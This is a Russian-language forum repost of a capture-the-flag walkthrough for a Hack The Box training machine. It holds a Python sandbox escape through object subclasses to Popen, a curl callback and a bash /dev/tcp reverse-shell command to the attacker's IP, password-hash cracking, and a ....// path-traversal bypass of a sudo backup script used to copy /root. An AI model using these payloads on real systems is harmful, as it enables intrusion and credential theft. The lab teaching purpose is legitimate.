• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Получаем RCE в веб-интерпретаторе Python

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,311
Розыгрыши
0
Реакции
591
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня мы с тобой взломаем веб‑интерпретатор кода на Python и выполним на сервере свой код в обход фильтров. Затем получим доступ к базе данных и извлечем учетные данные другого пользователя. При повышении привилегий используем уязвимость недостаточной фильтрации в скрипте, создающем резервные копии.
Наша конечная цель — получение прав суперпользователя на машине с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — легкий.

warning​


Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.62 code.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:

  • 22 — служба OpenSSH 8.2p1;
  • 5000 — веб‑сервер Gunicorn 20.0.4.
На SSH без учетных данных нам делать нечего, поэтому посмотрим, какой сервис работает на порте 5000.

Главная страница сайта
Нас встречает какой‑то веб‑интерпретатор Python.


Точка входа​

Запускаем кнопкой Run и получаем результат выполнения скрипта.

Результат выполнения скрипта

Проверяем несколько функций, которые могли бы позволить выполнить команды на хостовой ОС, и быстро понимаем, что заблокирована возможность импортировать модули командой import. Без этого к функциям из os и sys доступ никак не получить.

Проверка импорта

Как при эксплуатации SSTI, начнем с вывода всех ключей из глобального пространства имен текущего модуля. Словарь всех доступных в модуле переменных и объектов можно получить функцией globals().

print(globals().keys())
Ключи из глобального пространства имен текущего модуля
Теперь выведем список всех подклассов базового класса object в Python. В качестве базового класса возьмем tuple, получить который можно так: ().class.base.

А вот так можно получить все подклассы:

().[B]class[/B].[B]base[/B].[B]subclasses[/B]()
Все подклассы базового класса object

Для удобства получим список в формате «порядковый номер имя подкласса».

Код:
for i, c in enumerate(().class.base.subclasses()):
    print(i, c.name)
Все подклассы базового класса object

Сохраняем вывод в отдельный файл и ищем подкласс, через который можно получить выполнение кода или команд. Так под номером 317 находим Popen.

Все подклассы базового класса object

Открываем простой листенер (nc -nlvp 8000) и в качестве теста выполняем запрос на этот листенер через curl.

().[B]class[/B].[B]base[/B].[B]subclasses[/B]()[317](["/bin/bash", "-c", "curl 10.10.14.112:8000/test"])
Логи листенера

Запрос пришел на открытый порт, а значит, у нас есть возможность удаленно выполнять команды, то есть RCE. Давай теперь запустим другой листенер, на основе pwncat-cs:

pwncat-cs -lp 4321
И теперь можем выполнить реверс‑шелл:

().[B]class[/B].[B]base[/B].[B]subclasses[/B]()[317](["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.112/4321 0>&1"])

Справка: реверс-шелл​

Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
Флаг пользователя

Продвижение​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Из выданной им информации попытаемся отобрать значимую.

В системе есть три активных пользователя с консолью: root, app-production и martin.

Пользователи с консолью

В течение последних пяти минут был изменен файл базы данных /home/app-production/app/instance/database.db.

Недавно модифицированные файлы
Список файлов баз данных

Pwncat позволяет нам легко скачивать и загружать файлы. Комбинацией клавиш Ctrl-D выходим в меню pwncat, затем скачиваем файл database.db командой download и возвращаемся обратно в сессию командой back.

Скачивание файла базы данных

Просмотреть файл базы данных можно с помощью Для просмотра ссылки Войди или Зарегистрируйся. Нас интересует таблица user, в которой хранятся учетные данные пользователей.

Содержимое таблицы user

Находим хеши паролей пользователей. Чтобы узнать, при помощи какого алгоритма они созданы, и попробовать пробрутить, можем использовать сайт Для просмотра ссылки Войди или Зарегистрируйся. Так у нас получается подобрать пароли к обоим хешам.

Результат взлома хешей

С полученными учетными данными авторизуемся по SSH от имени пользователя martin.

Сессия пользователя martin

Локальное повышение привилегий​

При смене уровня доступа в Linux проверять нужно немногое — достаточно посмотреть те вещи, которые будут отличаться для разных пользователей.

В первую очередь могут различаться настройки sudoers. Посмотрим их:

sudo -l
Настройки sudoers

Справка: sudoers​

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Видим, что пользователь martin без ввода пароля может выполнить скрипт /usr/bin/backy.sh в привилегированном контексте. Просмотрим содержимое скрипта.

Содержимое файла backy.sh

Этот скрипт принимает в качестве аргумента файл JSON. Затем скрипт получает список каталогов directories_to_archive, которые будут добавлены в резервную копию, и проверяет, что каталоги расположены в корневых директориях /var или /home, а также не дает обходить каталоги через последовательность ../.

В домашнем каталоге пользователя находим директорию backups. В ней содержится какой‑то архив и файл task.json.

Содержимое каталога backups
Файл task.json похож на то, что ожидает скрипт /usr/bin/backy.sh.

Содержимое файла task.json

Возьмем этот файл за основу и немного переделаем. Сначала уберем параметр exclude, а затем изменим каталог для резервного копирования.

Скрипт не просто фильтрует обход каталога через ../, а удаляет эту последовательность символов из строки. Таким образом, если мы будем использовать последовательность ....//, после фильтра она превратится в ../ и мы получим нужный нам обход каталога. Тогда для создания копии /root можем использовать путь /home/....//root/.

Код:
{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/home/....//root/"
  ],
}

Выполнение резервного копирования

Резервная копия создана в каталоге backups. Извлекаем содержимое архива и получаем приватный ключ SSH.

tar -xvjf code_var_.._root_2025_April.tar.bz2
Распаковка архива

С приватным ключом подключаемся от имени root и забираем последний флаг.

Флаг рута

Машина захвачена!
 
Activity
So far there's no one here